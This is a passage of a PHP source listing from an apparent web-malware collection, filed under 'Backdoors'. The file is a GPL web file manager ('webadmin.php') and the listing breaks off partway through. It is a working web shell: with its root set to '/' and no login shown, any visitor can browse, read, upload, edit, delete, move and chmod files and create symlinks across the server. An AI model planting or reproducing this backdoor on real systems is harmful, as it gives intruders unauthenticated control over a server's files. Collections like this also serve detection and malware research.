PageRenderTime 32ms CodeModel.GetById 22ms RepoModel.GetById 1ms app.codeStats 0ms

/Backdoors/PHP/Private-i3lue.php

http://web-malware-collection.googlecode.com/
PHP | 1456 lines | 1315 code | 66 blank | 75 comment | 357 complexity | 17f19699f2eeb270a04110b0a7683565 MD5 | raw file

Large files files are truncated, but you can click here to view the full file

    

  1. <?php
    2. 

  2. /*
    3. 

  3.  * webadmin.php - a simple Web-based file manager
    4. 

  4.  * Copyright (C) 2002  Daniel Wacker <mail@wacker-welt.de>
    5. 

  5.  *
    6. 

  6.  * This program is free software; you can redistribute it and/or modify
    7. 

  7.  * it under the terms of the GNU General Public License as published by
    8. 

  8.  * the Free Software Foundation; either version 2 of the License, or
    9. 

  9.  * (at your option) any later version.
    10. 

  10.  *
    11. 

  11.  * This program is distributed in the hope that it will be useful,
    12. 

  12.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
    13. 

  13.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    14. 

  14.  * GNU General Public License for more details.
    15. 

  15.  * 
    16. 

  16.  * You should have received a copy of the GNU General Public License
    17. 

  17.  * along with this program; if not, write to the Free Software
    18. 

  18.  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
    19. 

  19.  *
    20. 

  20. /* ------------------------------------------------------------------------- */
    21. 

  21. 

  22. /* Select your language:
    23. 

  23.  * 'en' - English
    24. 

  24.  * 'de' - German
    25. 

  25.  * 'cz' - Czech
    26. 

  26.  * 'it' - Italian
    27. 

  27.  */
    28. 

  28. $language = 'en';
    29. 

  29. 

  30. /* This directory is shown when you start webadmin.php.
    31. 

  31.  * For example: './' would be the current directory.
    32. 

  32.  */
    33. 

  33. $homedir = './';
    34. 

  34. 

  35. /* This sets the root directory of the treeview.
    36. 

  36.  * Set it to '/' to see the whole filesystem.
    37. 

  37.  */
    38. 

  38. $treeroot = '/';
    39. 

  39. 

  40. /* When you create a directory, its permission is set to this octal value.
    41. 

  41.  * For example: 0705 would be 'drwx---r-x'.
    42. 

  42.  */
    43. 

  43. $dirpermission = 0705;
    44. 

  44. 

  45. /* Uncomment the following line to enable this feature (remove #):
    46. 

  46.  * When you create a file, its permission is set to this octal value.
    47. 

  47.  * For example: 0644 would be 'drwxr--r--'.
    48. 

  48.  */
    49. 

  49. # $newfilepermission = 0666;
    50. 

  50. 

  51. /* Uncomment the following line to enable this feature (remove #):
    52. 

  52.  * When you upload a file, its permission is set to this octal value.
    53. 

  53.  * For example: 0644 would be 'drwxr--r--'.
    54. 

  54.  */
    55. 

  55. # $uploadedfilepermission = 0666;
    56. 

  56. 

  57. /* The size of the file edit textarea
    58. 

  58.  */
    59. 

  59. $editrows = 20;
    60. 

  60. $editcols = 70;
    61. 

  61. 

  62. /* ------------------------------------------------------------------------- */
    63. 

  63. 

  64. $self = htmlentities(basename($_SERVER['PHP_SELF']));
    65. 

  65. $homedir = relpathtoabspath($homedir, getcwd());
    66. 

  66. $treeroot = relpathtoabspath($treeroot, getcwd());
    67. 

  67. $words = getwords($language);
    68. 

  68. 

  69. /* If PHP added any slashes, strip them */
    70. 

  70. if (ini_get('magic_quotes_gpc')) {
    71. 

  71. 	array_walk($_GET, 'strip');
    72. 

  72. 	array_walk($_POST, 'strip');
    73. 

  73. 	array_walk($_REQUEST, 'strip');
    74. 

  74. }
    75. 

  75. 

  76. /* Return Images */
    77. 

  77. if (isset($_GET['imageid'])) {
    78. 

  78. 	header('Content-Type: image/gif');
    79. 

  79. 	echo(getimage($_GET['imageid']));
    80. 

  80. 	exit;
    81. 

  81. }
    82. 

  82. 

  83. /* Initialize session */
    84. 

  84. ini_set('session.use_cookies', FALSE);
    85. 

  85. ini_set('session.use_trans_sid', FALSE);
    86. 

  86. session_name('id');
    87. 

  87. session_start();
    88. 

  88. 

  89. /* Initialize dirlisting output */
    90. 

  90. $error = $notice = '';
    91. 

  91. $updatetreeview = FALSE;
    92. 

  92. 

  93. /* Handle treeview requests */
    94. 

  94. if (isset($_REQUEST['action'])) {
    95. 

  95. 	switch ($_REQUEST['action']) {
    96. 

  96. 	case 'treeon':
    97. 

  97. 		$_SESSION['tree'] = array();
    98. 

  98. 		$_SESSION['hassubdirs'][$treeroot] = tree_hassubdirs($treeroot);
    99. 

  99. 		tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $treeroot);
    100. 

  100. 		frameset();
    101. 

  101. 		exit;
    102. 

  102. 	case 'treeoff':
    103. 

  103. 		$_SESSION['tree'] = NULL;
    104. 

  104. 		$_SESSION['hassubdirs'] = NULL;
    105. 

  105. 		dirlisting();
    106. 

  106. 		exit;
    107. 

  107. 	}
    108. 

  108. }
    109. 

  109. 

  110. /* Set current directory */
    111. 

  111. if (!isset($_SESSION['dir'])) {
    112. 

  112. 	$_SESSION['dir'] = $homedir;
    113. 

  113. 	$updatetreeview = TRUE;
    114. 

  114. }
    115. 

  115. if (!empty($_REQUEST['dir'])) {
    116. 

  116. 	$newdir = relpathtoabspath($_REQUEST['dir'], $_SESSION['dir']);
    117. 

  117. 	/* If the requested directory is a file, show the file */
    118. 

  118. 	if (@is_file($newdir) && @is_readable($newdir)) {
    119. 

  119. 		/* if (@is_writable($newdir)) {
    120. 

  120. 			$_REQUEST['edit'] = $newdir;
    121. 

  121. 		} else */ if (is_script($newdir)) {
    122. 

  122. 			$_GET['showh'] = $newdir;
    123. 

  123. 		} else {
    124. 

  124. 			$_GET['show'] = $newdir;
    125. 

  125. 		}
    126. 

  126. 	} elseif ($_SESSION['dir'] != $newdir) {
    127. 

  127. 		$_SESSION['dir'] = $newdir;
    128. 

  128. 		$updatetreeview = TRUE;
    129. 

  129. 	}
    130. 

  130. }
    131. 

  131. 

  132. /* Show a file */
    133. 

  133. if (!empty($_GET['show'])) {
    134. 

  134. 	$show = relpathtoabspath($_GET['show'], $_SESSION['dir']);
    135. 

  135. 	if (!show($show)) {
    136. 

  136. 		$error= buildphrase('&quot;<b>' . htmlentities($show) . '</b>&quot;', $words['cantbeshown']);
    137. 

  137. 	} else {
    138. 

  138. 		exit;
    139. 

  139. 	}
    140. 

  140. }
    141. 

  141. 

  142. /* Show a file syntax highlighted */
    143. 

  143. if (!empty($_GET['showh'])) {
    144. 

  144. 	$showh = relpathtoabspath($_GET['showh'], $_SESSION['dir']);
    145. 

  145. 	if (!show_highlight($showh)) {
    146. 

  146. 		$error = buildphrase('&quot;<b>' . htmlentities($showh) . '</b>&quot;', $words['cantbeshown']);
    147. 

  147. 	} else {
    148. 

  148. 		exit;
    149. 

  149. 	}
    150. 

  150. }
    151. 

  151. 

  152. /* Upload file */
    153. 

  153. if (isset($_FILES['upload'])) {
    154. 

  154. 	$file = relpathtoabspath($_FILES['upload']['name'], $_SESSION['dir']);
    155. 

  155. 	if (@is_writable($_SESSION['dir']) && @move_uploaded_file($_FILES['upload']['tmp_name'], $file) && (!isset($uploadedfilepermission) || chmod($file, $uploadedfilepermission))) {
    156. 

  156. 		$notice = buildphrase(array('&quot;<b>' . htmlentities(basename($file)) . '</b>&quot;', '&quot;<b>' . htmlentities($_SESSION['dir']) . '</b>&quot;'), $words['uploaded']);
    157. 

  157. 	} else {
    158. 

  158. 		$error = buildphrase(array('&quot;<b>' . htmlentities(basename($file)) . '</b>&quot;', '&quot;<b>' . htmlentities($_SESSION['dir']) . '</b>&quot;'), $words['notuploaded']);
    159. 

  159. 	}
    160. 

  160. }
    161. 

  161. 

  162. /* Create file */
    163. 

  163. if (!empty($_GET['create']) && $_GET['type'] == 'file') {
    164. 

  164. 	$file = relpathtoabspath($_GET['create'], $_SESSION['dir']);
    165. 

  165. 	if (substr($file, strlen($file) - 1, 1) == '/') $file = substr($file, 0, strlen($file) - 1);
    166. 

  166. 	if (is_free($file) && touch($file) && ((!isset($newfilepermission)) || chmod($file, $newfilepermission))) {
    167. 

  167. 		$notice = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['created']);
    168. 

  168. 		$_REQUEST['edit'] = $file;
    169. 

  169. 	} else {
    170. 

  170. 		$error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['notcreated']);
    171. 

  171. 	}
    172. 

  172. }
    173. 

  173. 

  174. /* Create directory */
    175. 

  175. if (!empty($_GET['create']) && $_GET['type'] == 'dir') {
    176. 

  176. 	$file = relpathtoabspath($_GET['create'], $_SESSION['dir']);
    177. 

  177. 	if (is_free($file) && @mkdir($file, $dirpermission)) {
    178. 

  178. 		$notice = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['created']);
    179. 

  179. 		$updatetreeview = TRUE;
    180. 

  180. 		if (!empty($_SESSION['tree'])) {
    181. 

  181. 			$file = spath(dirname($file));
    182. 

  182. 			$_SESSION['hassubdirs'][$file] = TRUE;
    183. 

  183. 			tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $file);
    184. 

  184. 		}
    185. 

  185. 	} else {
    186. 

  186. 		$error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['notcreated']);
    187. 

  187. 	}
    188. 

  188. }
    189. 

  189. 

  190. /* Ask symlink target */
    191. 

  191. if (!empty($_GET['symlinktarget']) && empty($_GET['symlink'])) {
    192. 

  192. 	$symlinktarget = relpathtoabspath($_GET['symlinktarget'], $_SESSION['dir']);
    193. 

  193. 	html_header($words['createsymlink']);
    194. 

  194. ?>
    195. 

  195. 	<form action="<?php echo($self); ?>" method="get">
    196. 

  196. 	<input type="hidden" name="id" value="<?php echo(session_id()); ?>">
    197. 

  197. 	<input type="hidden" name="symlinktarget" value="<?php echo(htmlentities($_GET['symlinktarget'])); ?>">
    198. 

  198. 	<table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    199. 

  199. 	<table border="0" cellspacing="1" cellpadding="4">
    200. 

  200. 	<tr>
    201. 

  201. 		<td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
    202. 

  202. 		<td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
    203. 

  203. 	</tr>
    204. 

  204. 	<tr>
    205. 

  205. 		<td colspan="2" bgcolor="#EEEEEE">
    206. 

  206. 			<table border="0">
    207. 

  207. 			<tr>
    208. 

  208. 				<td valign="top"><?php echo($words['target']); ?>:&nbsp;</td>
    209. 

  209. 				<td>
    210. 

  210. 					<b><?php echo(htmlentities($_GET['symlinktarget'])); ?></b><br>
    211. 

  211. 					<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked>
    212. 

  212. 					<label for="checkbox_relative"><?php echo($words['reltarget']); ?></label>
    213. 

  213. 				</td>
    214. 

  214. 			</tr>
    215. 

  215. 			<tr>
    216. 

  216. 				<td><?php echo($words['symlink']); ?>:&nbsp;</td>
    217. 

  217. 				<td><input type="text" name="symlink" value="<?php echo(htmlentities(spath(dirname($symlinktarget)))); ?>" size="<?php $size = strlen($_GET['symlinktarget']) + 9; if ($size < 30) $size = 30; echo($size);  ?>"></td>
    218. 

  218. 			</tr>
    219. 

  219. 			<tr>
    220. 

  220. 				<td>&nbsp;</td>
    221. 

  221. 				<td><input type="submit" value="<?php echo($words['create']); ?>"></td>
    222. 

  222. 			</tr>
    223. 

  223. 			</table>
    224. 

  224. 		</td>
    225. 

  225. 	</tr>
    226. 

  226. 	</table>
    227. 

  227. 	</td></tr></table>
    228. 

  228. 	</form>
    229. 

  229. <?php
    230. 

  230. 	html_footer();
    231. 

  231. 	exit;
    232. 

  232. }
    233. 

  233. 

  234. /* Create symlink */
    235. 

  235. if (!empty($_GET['symlink']) && !empty($_GET['symlinktarget'])) {
    236. 

  236. 	$symlink = relpathtoabspath($_GET['symlink'], $_SESSION['dir']);
    237. 

  237. 	$target = $_GET['symlinktarget'];
    238. 

  238. 	if (@is_dir($symlink)) $symlink = spath($symlink) . basename($target);
    239. 

  239. 	if ($symlink == $target) {
    240. 

  240. 		$error = buildphrase(array('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', '&quot;<b>' . htmlentities($target) . '</b>&quot;'), $words['samefiles']);
    241. 

  241. 	} else {
    242. 

  242. 		if (@$_GET['relative'] == 'yes') {
    243. 

  243. 			$target = abspathtorelpath(dirname($symlink), $target);
    244. 

  244. 		} else {
    245. 

  245. 			$target = $_GET['symlinktarget'];
    246. 

  246. 		}
    247. 

  247. 		if (is_free($symlink) && @symlink($target, $symlink)) {
    248. 

  248. 			$notice = buildphrase('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', $words['created']);
    249. 

  249. 		} else {
    250. 

  250. 			$error = buildphrase('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', $words['notcreated']);
    251. 

  251. 		}
    252. 

  252. 	}
    253. 

  253. }
    254. 

  254. 

  255. /* Delete file */
    256. 

  256. if (!empty($_GET['delete'])) {
    257. 

  257. 	$delete = relpathtoabspath($_GET['delete'], $_SESSION['dir']);
    258. 

  258. 	if (@$_GET['sure'] == 'TRUE') {
    259. 

  259. 		if (remove($delete)) {
    260. 

  260. 			$notice = buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['deleted']);
    261. 

  261. 		} else {
    262. 

  262. 			$error = buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['notdeleted']);
    263. 

  263. 		}
    264. 

  264. 	} else {
    265. 

  265. 		html_header($words['delete']);
    266. 

  266. ?>
    267. 

  267. 	<p>
    268. 

  268. 	<table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    269. 

  269. 	<table border="0" cellspacing="1" cellpadding="4">
    270. 

  270. 	<tr>
    271. 

  271. 		<td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
    272. 

  272. 		<td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
    273. 

  273. 	</tr>
    274. 

  274. 	<tr>
    275. 

  275. 		<td colspan="2" bgcolor="#FFFFFF"><?php echo(buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['suredelete'])); ?></td>
    276. 

  276. 	</tr>
    277. 

  277. 	<tr>
    278. 

  278. 		<td colspan="2" align="center" bgcolor="#EEEEEE">
    279. 

  279. 			<a href="<?php echo("$self?" . SID . '&delete=' . urlencode($delete) . '&sure=TRUE'); ?>">[ <?php echo($words['yes']); ?> ]</a>
    280. 

  280. 		</td>
    281. 

  281. 	</tr>
    282. 

  282. 	</table>
    283. 

  283. 	</td></tr></table>
    284. 

  284. 	</p>
    285. 

  285. <?php
    286. 

  286. 		html_footer();
    287. 

  287. 		exit;
    288. 

  288. 	}
    289. 

  289. }
    290. 

  290. 

  291. /* Change permission */
    292. 

  292. if (!empty($_GET['permission'])) {
    293. 

  293. 	$permission = relpathtoabspath($_GET['permission'], $_SESSION['dir']);
    294. 

  294. 	if ($p = @fileperms($permission)) {
    295. 

  295. 		if (!empty($_GET['set'])) {
    296. 

  296. 			$p = 0; 
    297. 

  297. 			if (isset($_GET['ur'])) $p |= 0400; if (isset($_GET['uw'])) $p |= 0200; if (isset($_GET['ux'])) $p |= 0100;
    298. 

  298. 			if (isset($_GET['gr'])) $p |= 0040; if (isset($_GET['gw'])) $p |= 0020; if (isset($_GET['gx'])) $p |= 0010;
    299. 

  299. 			if (isset($_GET['or'])) $p |= 0004; if (isset($_GET['ow'])) $p |= 0002; if (isset($_GET['ox'])) $p |= 0001;
    300. 

  300. 			if (@chmod($_GET['permission'], $p)) {
    301. 

  301. 				$notice = buildphrase(array('&quot<b>' . htmlentities($permission) . '</b>&quot;', '&quot;<b>' . substr(octtostr("0$p"), 1) . '</b>&quot; (<b>' . decoct($p) . '</b>)'), $words['permsset']);
    302. 

  302. 			} else {
    303. 

  303. 				$error = buildphrase('&quot;<b>' . htmlentities($permission) . '</b>&quot;', $words['permsnotset']);
    304. 

  304. 			}
    305. 

  305. 		} else {
    306. 

  306. 			html_header($words['permission']);
    307. 

  307. ?>
    308. 

  308. 	<form action="<?php echo($self); ?>" method="get">
    309. 

  309. 	<input type="hidden" name="id" value="<?php echo(session_id()); ?>">
    310. 

  310. 	<table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    311. 

  311. 	<table border="0" cellspacing="1" cellpadding="4">
    312. 

  312. 	<tr>
    313. 

  313. 		<td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
    314. 

  314. 		<td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
    315. 

  315. 	</tr>
    316. 

  316. 	<tr>
    317. 

  317. 		<td bgcolor="#EEEEEE" colspan="2">
    318. 

  318. 			<table>
    319. 

  319. 			<tr>
    320. 

  320. 				<td><?php echo($words['file']); ?>:</td>
    321. 

  321. 				<td><input type="text" name="permission" value="<?php echo(htmlentities($permission)); ?>" size="<?php echo(textfieldsize($permission)); ?>"></td>
    322. 

  322. 				<td><input type="submit" value="<?php echo($words['change']); ?>"></td>
    323. 

  323. 			</tr>
    324. 

  324. 			<tr>
    325. 

  325. 				<td valign="top">
    326. 

  326. 					<?php echo($words['permission']); ?>:&nbsp;
    327. 

  327. 					</form><form action="<?php echo($self); ?>" method="get">
    328. 

  328. 					<input type="hidden" name="id" value="<?php echo(session_id()); ?>">
    329. 

  329. 					<input type="hidden" name="permission" value="<?php echo(htmlentities($permission)); ?>">
    330. 

  330. 					<input type="hidden" name="set" value="TRUE">
    331. 

  331. 				</td>
    332. 

  332. 				<td colspan="2">
    333. 

  333. 					<table border="0">
    334. 

  334. 					<tr>
    335. 

  335. 						<td>&nbsp;</td>
    336. 

  336. 						<td><?php echo($words['owner']); ?></td>
    337. 

  337. 						<td><?php echo($words['group']); ?></td>
    338. 

  338. 						<td><?php echo($words['other']); ?></td>
    339. 

  339. 					</tr>
    340. 

  340. 					<tr>
    341. 

  341. 						<td><?php echo($words['read']); ?>:</td>
    342. 

  342. 						<td align="center"><input type="checkbox" name="ur" value="1"<?php if ($p & 00400) echo(' checked'); ?>></td>
    343. 

  343. 						<td align="center"><input type="checkbox" name="gr" value="1"<?php if ($p & 00040) echo(' checked'); ?>></td>
    344. 

  344. 						<td align="center"><input type="checkbox" name="or" value="1"<?php if ($p & 00004) echo(' checked'); ?>></td>
    345. 

  345. 					</tr>
    346. 

  346. 					<tr>
    347. 

  347. 						<td><?php echo($words['write']); ?>:</td>
    348. 

  348. 						<td align="center"><input type="checkbox" name="uw" value="1"<?php if ($p & 00200) echo(' checked'); ?>></td>
    349. 

  349. 						<td align="center"><input type="checkbox" name="gw" value="1"<?php if ($p & 00020) echo(' checked'); ?>></td>
    350. 

  350. 						<td align="center"><input type="checkbox" name="ow" value="1"<?php if ($p & 00002) echo(' checked'); ?>></td>
    351. 

  351. 					</tr>
    352. 

  352. 					<tr>
    353. 

  353. 						<td><?php echo($words['exec']); ?>:</td>
    354. 

  354. 						<td align="center"><input type="checkbox" name="ux" value="1"<?php if ($p & 00100) echo(' checked'); ?>></td>
    355. 

  355. 						<td align="center"><input type="checkbox" name="gx" value="1"<?php if ($p & 00010) echo(' checked'); ?>></td>
    356. 

  356. 						<td align="center"><input type="checkbox" name="ox" value="1"<?php if ($p & 00001) echo(' checked'); ?>></td>
    357. 

  357. 					</tr>
    358. 

  358. 					</table>
    359. 

  359. 				</td>
    360. 

  360. 			</tr>
    361. 

  361. 			<tr>
    362. 

  362. 				<td>&nbsp;</td>
    363. 

  363. 				<td colspan="2"><input type="submit" value="<?php echo($words['setperms']); ?>"></td>
    364. 

  364. 			</tr>
    365. 

  365. 			</table>
    366. 

  366. 		</td>
    367. 

  367. 	</tr>
    368. 

  368. 	</table>
    369. 

  369. 	</td></tr></table>
    370. 

  370. 	</form>
    371. 

  371. <?php
    372. 

  372. 			html_footer();
    373. 

  373. 			exit;
    374. 

  374. 		}
    375. 

  375. 	} else {
    376. 

  376. 		$error = buildphrase('&quot;<b>' . htmlentities($permission) . '</b>&quot;', $words['permsnotset']);
    377. 

  377. 	}
    378. 

  378. }
    379. 

  379. 

  380. /* Move file */
    381. 

  381. if (!empty($_GET['move'])) {
    382. 

  382. 	$move = relpathtoabspath($_GET['move'], $_SESSION['dir']);
    383. 

  383. 	if (!empty($_GET['destination'])) {
    384. 

  384. 		$destination = relpathtoabspath($_GET['destination'], dirname($move));
    385. 

  385. 		if (@is_dir($destination)) $destination = spath($destination) . basename($move);
    386. 

  386. 		if ($move == $destination) {
    387. 

  387. 			$error = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['samefiles']);
    388. 

  388. 		} else {
    389. 

  389. 			if (is_free($destination) && @rename($move, $destination)) {
    390. 

  390. 				$notice = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['moved']);
    391. 

  391. 			} else {
    392. 

  392. 				$error = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['notmoved']);
    393. 

  393. 			}
    394. 

  394. 		}
    395. 

  395. 	} else {
    396. 

  396. 		html_header($words['move']);
    397. 

  397. ?>
    398. 

  398. 	<form action="<?php echo($self); ?>" method="get">
    399. 

  399. 	<input type="hidden" name="id" value="<?php echo(session_id()); ?>">
    400. 

  400. 	<input type="hidden" name="move" value="<?php echo(htmlentities($move)); ?>">
    401. 

  401. 	<table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    402. 

  402. 	<table border="0" cellspacing="1" cellpadding="4">
    403. 

  403. 	<tr>
    404. 

  404. 		<td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
    405. 

  405. 		<td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
    406. 

  406. 	</tr>
    407. 

  407. 	<tr>
    408. 

  408. 		<td colspan="2" bgcolor="#EEEEEE">
    409. 

  409. 			<table border="0">
    410. 

  410. 			<tr>
    411. 

  411. 				<td><?php echo($words['file']); ?>:&nbsp;</td>
    412. 

  412. 				<td><b><?php echo(htmlentities($move)); ?></b></td>
    413. 

  413. 			</tr>
    414. 

  414. 			<tr>
    415. 

  415. 				<td><?php echo($words['moveto']); ?>:&nbsp;</td>
    416. 

  416. 				<td><input type="text" name="destination" value="<?php echo(htmlentities(spath(dirname($move)))); ?>" size="<?php echo(textfieldsize($move)); ?>"></td>
    417. 

  417. 			</tr>
    418. 

  418. 			<tr>
    419. 

  419. 				<td>&nbsp;</td>
    420. 

  420. 				<td><input type="submit" value="<?php echo($words['move']); ?>"></td>
    421. 

  421. 			</tr>
    422. 

  422. 			</table>
    423. 

  423. 		</td>
    424. 

  424. 	</tr>
    425. 

  425. 	</table>
    426. 

  426. 	</td></tr></table>
    427. 

  427. 	</form>
    428. 

  428. <?php
    429. 

  429. 		html_footer();
    430. 

  430. 		exit;
    431. 

  431. 	}
    432. 

  432. }
    433. 

  433. 

  434. /* Copy file */
    435. 

  435. if (!empty($_GET['cpy'])) {
    436. 

  436. 	$copy = relpathtoabspath($_GET['cpy'], $_SESSION['dir']);
    437. 

  437. 	if (!empty($_GET['destination'])) {
    438. 

  438. 		$destination = relpathtoabspath($_GET['destination'], dirname($copy));
    439. 

  439.           if (@is_dir($destination)) $destination = spath($destination) . basename($copy);
    440. 

  440. 		if ($copy == $destination) {
    441. 

  441. 			$error = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['samefiles']);
    442. 

  442. 		} else {
    443. 

  443. 			if (is_free($destination) && @copy($copy, $destination)) {
    444. 

  444. 				$notice = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['copied']);
    445. 

  445. 			} else {
    446. 

  446. 				$error = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['notcopied']);
    447. 

  447. 			}
    448. 

  448. 		}
    449. 

  449. 	} else {
    450. 

  450. 		html_header($words['copy']);
    451. 

  451. ?>
    452. 

  452. 	<form action="<?php echo($self); ?>" method="get">
    453. 

  453. 	<input type="hidden" name="id" value="<?php echo(session_id()); ?>">
    454. 

  454. 	<input type="hidden" name="cpy" value="<?php echo(htmlentities($copy)); ?>">
    455. 

  455. 	<table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    456. 

  456. 	<table border="0" cellspacing="1" cellpadding="4">
    457. 

  457. 	<tr>
    458. 

  458. 		<td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
    459. 

  459. 		<td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
    460. 

  460. 	</tr>
    461. 

  461. 	<tr>
    462. 

  462. 		<td colspan="2" bgcolor="#EEEEEE">
    463. 

  463. 			<table border="0">
    464. 

  464. 			<tr>
    465. 

  465. 				<td><?php echo($words['file']); ?>:&nbsp;</td>
    466. 

  466. 				<td><b><?php echo(htmlentities($copy)); ?></b></td>
    467. 

  467. 			</tr>
    468. 

  468. 			<tr>
    469. 

  469. 				<td><?php echo($words['copyto']); ?>:&nbsp;</td>
    470. 

  470. 				<td><input type="text" name="destination" value="<?php echo(htmlentities(spath(dirname($copy)))); ?>" size="<?php echo(textfieldsize($copy)); ?>"></td>
    471. 

  471. 			</tr>
    472. 

  472. 			<tr>
    473. 

  473. 				<td>&nbsp;</td>
    474. 

  474. 				<td><input type="submit" value="<?php echo($words['copy']); ?>"></td>
    475. 

  475. 			</tr>
    476. 

  476. 			</table>
    477. 

  477. 		</td>
    478. 

  478. 	</tr>
    479. 

  479. 	</table>
    480. 

  480. 	</td></tr></table>
    481. 

  481. 	</form>
    482. 

  482. <?php
    483. 

  483. 		html_footer();
    484. 

  484. 		exit;
    485. 

  485. 	}
    486. 

  486. }
    487. 

  487. 

  488. /* Save edited file */
    489. 

  489. if (!empty($_POST['edit']) && isset($_POST['save'])) {
    490. 

  490. 	$edit = relpathtoabspath($_POST['edit'], $_SESSION['dir']);
    491. 

  491. 	if ($f = @fopen($edit, 'w')) {
    492. 

  492. 		/* write file without carriage returns */
    493. 

  493. 		fwrite($f, str_replace("\r\n", "\n", $_POST['content']));
    494. 

  494. 		fclose($f);
    495. 

  495. 		$notice = buildphrase('&quot;<b>' . htmlentities($edit) . '</b>&quot;', $words['saved']);
    496. 

  496. 	} else {
    497. 

  497. 		$error = buildphrase('&quot;<b>' . htmlentities($edit) . '</b>&quot;', $words['notsaved']);
    498. 

  498. 	}
    499. 

  499. }
    500. 

  500. 

  501. /* Edit file */
    502. 

  502. if (isset($_REQUEST['edit']) && !isset($_POST['save'])) {
    503. 

  503. 	$file = relpathtoabspath($_REQUEST['edit'], $_SESSION['dir']);
    504. 

  504. 	if (@is_dir($file)) {
    505. 

  505. 		/* If the requested file is a directory, show the directory */
    506. 

  506. 		$_SESSION['dir'] = $file;
    507. 

  507. 		$updatetreeview = TRUE;
    508. 

  508. 	} else {
    509. 

  509. 		if ($f = @fopen($file, 'r')) {
    510. 

  510. 			html_header($words['edit']);
    511. 

  511. ?>
    512. 

  512. 	<form action="<?php echo($self); ?>" method="get">
    513. 

  513. 	<input type="hidden" name="id" value="<?php echo(session_id()); ?>">
    514. 

  514. 	<table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    515. 

  515. 	<table border="0" cellspacing="1" cellpadding="4">
    516. 

  516. 	<tr>
    517. 

  517. 		<td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
    518. 

  518. 		<td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
    519. 

  519. 	</tr>
    520. 

  520. 	<tr>
    521. 

  521. 		<td bgcolor="#EEEEEE" colspan="2">
    522. 

  522. 			<table border="0" cellspacing="0" cellpadding="0">
    523. 

  523. 			<tr>
    524. 

  524. 				<td><?php echo($words['file']); ?>:&nbsp;</td>
    525. 

  525. 				<td><input type="text" name="edit" value="<?php echo(htmlentities($file)); ?>" size="<?php echo(textfieldsize($file)); ?>">&nbsp;</td>
    526. 

  526. 				<td><input type="submit" value="<?php echo($words['change']); ?>"></td>
    527. 

  527. 			</tr>
    528. 

  528. 			</table>
    529. 

  529. 		</td>
    530. 

  530. 	</tr>
    531. 

  531. 	</table>
    532. 

  532. 	</td></tr></table>
    533. 

  533. 	</form>
    534. 

  534. 	<form action="<?php echo($self); ?>" method="post" name="f">
    535. 

  535. 	<input type="hidden" name="id" value="<?php echo(session_id()); ?>">
    536. 

  536. 	<input type="hidden" name="edit" value="<?php echo(htmlentities($file)); ?>">
    537. 

  537. 	<table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    538. 

  538. 	<table border="0" cellspacing="1" cellpadding="4">
    539. 

  539. 	<tr>
    540. 

  540. 		<td bgcolor="#EEEEFF" align="center"><textarea name="content" rows="<?php echo($editrows); ?>" cols="<?php echo($editcols); ?>" wrap="off" style="background: #EEEEFF; border: none;"><?php
    541. 

  541. 			if (isset($_POST['content'])) {
    542. 

  542. 				echo(htmlentities($_POST['content']));
    543. 

  543. 				if (isset($_POST['add']) && !empty($_POST['username']) && !empty($_POST['password'])) {
    544. 

